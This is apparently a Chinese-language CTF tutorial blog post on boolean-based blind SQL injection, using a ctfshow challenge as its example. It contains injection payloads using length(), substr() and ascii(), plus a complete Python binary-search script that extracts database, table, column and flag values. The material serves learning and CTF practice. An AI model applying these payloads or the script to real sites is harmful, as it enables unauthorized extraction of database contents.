布尔盲注和时间盲注 (一) 0基础

0x01 引言

不知道你们学习刷题的时候是怎么弄的,我刷题刷到盲注题基本就变成脚本小子了,用的别人的脚本来做,后面发现实战题盲注的题目还是比较多的,这也是令我相当的坐牢,不能成为脚本小子,于是写这篇poc来记录自己学习生活吧

0x02 布尔盲注

知识基础讲解

既然是盲注那么就是那种没有回显的注入在网页,所以你如果遇到没有回显的注入就可能是盲注,而盲注又分为布尔盲注和时间盲注,这里我们先介绍第一种盲注方法,布尔盲注
这里以ctfshow中的某一布尔盲注为例子
我们要学习两个函数的使用

使用 length()函数 判断查询结果的长度
使用 substr()函数 截取每一个字符,并穷举出字符内容

在这里插入图片描述

?id=1' and length(database())=8--+
判断当前所在数据库的长度

在这里插入图片描述

?id=1' and ascii(substr(database(),1,1))=115--+
判断当前数据库名字的第一个字符

这段代码的意思类似于切片
substr(x,i,j)
substr返回当前参数x的从第i个字符开始算的j个字
例子 如果x=baozongzi ,i=1,j=1 那么返回的就是b
i=1 j=2 的话就是bz
再将字符转换为ASCII码方便等会遍历出结果

做题思路

?id=1' and 1--+	正常显示
?id=1' and 0--+	异常(空)显示

闭合字符根据题目进行相应改变
然后就是写脚本了

脚本写法

这个也是要根据环境来的,因为不同的题目我们的请求方式不同
有时候是POST请求或者GET请求
那么来都来了我们肯定是要学目前跑的最快的方法
布尔盲注就是二分法比较快了

像这道题的话就是比较烦的类型了,你不能直接从表里面注入出来(已知表名),得把库给锁定才行

import requests

flag=""
i = 0


while True:
    i = i+1
    low = 32
    high =127
    while low < high:
        mid = (low+high)//2
        #url = f"https://224d2aed-0e56-45a3-9199-16933da94b28.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid} --+"
        #url=f"https://224d2aed-0e56-45a3-9199-16933da94b28.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid} --+"
        #url=f"https://224d2aed-0e56-45a3-9199-16933da94b28.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagpuck'),{i},1))>{mid} --+"
        url = f"https://224d2aed-0e56-45a3-9199-16933da94b28.challenge.ctf.show/?id=1' and ascii(substr((select group_concat(id,flag33) from ctfshow.flagpuck),{i},1))>{mid} --+"
        r=requests.get(url=url)

        if "You are in..........." in r.text:
            low = mid+1
        else:
            high = mid
    if low !=32:
        flag+=chr(low)
    else:
        break
    print(flag)

url就是普通的sql语句注入,看我们前面的就能看懂了
思路:
先定义一个空字符串
然后循环(用来输出回显)再循环(穷举字符)
但是有点计算机基础的都知道 穷举是相当慢的于是我们使用二分
二分算法基础

用low和high把穷举区间给定了
32-126其实已经足够了但是二分常用的时候会把后面的区间变大一个
所以是32-127
[32,127]

在这里插入图片描述
有图有真相,我们是不是已经有正常回显了
那么我们就把左区间变大
[79,127]
在这里插入图片描述

[79,103]
在这里插入图片描述
[91,103]
如此循环往复,确定最后的字符将其存在回显字符串flag
可不要觉得慢哦,计算机那算的老快了,所以你学会了吗
🐂不🐂

还有其他方式的脚本大家就自己探索了哦

  • 14
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值